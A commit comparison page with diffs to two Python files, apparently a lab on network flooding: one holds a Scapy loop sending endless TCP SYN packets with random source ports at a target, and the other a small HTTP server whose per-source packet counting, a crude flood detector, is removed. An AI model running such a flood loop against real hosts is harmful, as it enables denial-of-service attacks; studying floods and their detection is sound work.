Compare commits
No commits in common. "63853db6309d62a5d11211eda41f1d828d77ccc6" and "5d1b6fc5cecbcf404754d0907ab5f34ad2e0ac0e" have entirely different histories.
63853db630
...
5d1b6fc5ce
2 changed files with 2 additions and 19 deletions
|
@ -21,7 +21,7 @@ def attaque():
|
|||
while True:
|
||||
requete = L[r.randint(0, 2)]
|
||||
paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
|
||||
sr1(paquet, verbose=False)
|
||||
sr1(paquet, verbose=True)
|
||||
|
||||
if __name__ == "__main__":
|
||||
t1= th.Thread(target=attaque())
|
||||
|
|
|
@ -2,29 +2,14 @@ from scapy.all import *
|
|||
import http.server
|
||||
import socketserver
|
||||
import threading
|
||||
import time
|
||||
|
||||
PORT = 80
|
||||
|
||||
Handler = http.server.SimpleHTTPRequestHandler
|
||||
http = socketserver.TCPServer(("", PORT), Handler)
|
||||
|
||||
addresses = {}
|
||||
|
||||
def empty_addresses():
|
||||
while True:
|
||||
time.wait(1)
|
||||
addresses.clear()
|
||||
|
||||
def handler(pkt):
|
||||
address = pkt[IP].src
|
||||
if address in addresses.keys():
|
||||
count = addresses[address]
|
||||
if count > 30:
|
||||
print(address, count)
|
||||
addresses[address] += 1
|
||||
else:
|
||||
addresses[address] = 1
|
||||
print(pkt)
|
||||
|
||||
def sniff_packets():
|
||||
sniff(filter=f"tcp port {PORT}", prn=handler)
|
||||
|
@ -32,8 +17,6 @@ def sniff_packets():
|
|||
if __name__ == "__main__":
|
||||
sniffer = threading.Thread(target=sniff_packets)
|
||||
sniffer.start()
|
||||
emptyer = threading.Thread(target=empty_addresses)
|
||||
emptyer.start()
|
||||
http.serve_forever()
|
||||
print("serving at port", PORT)
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue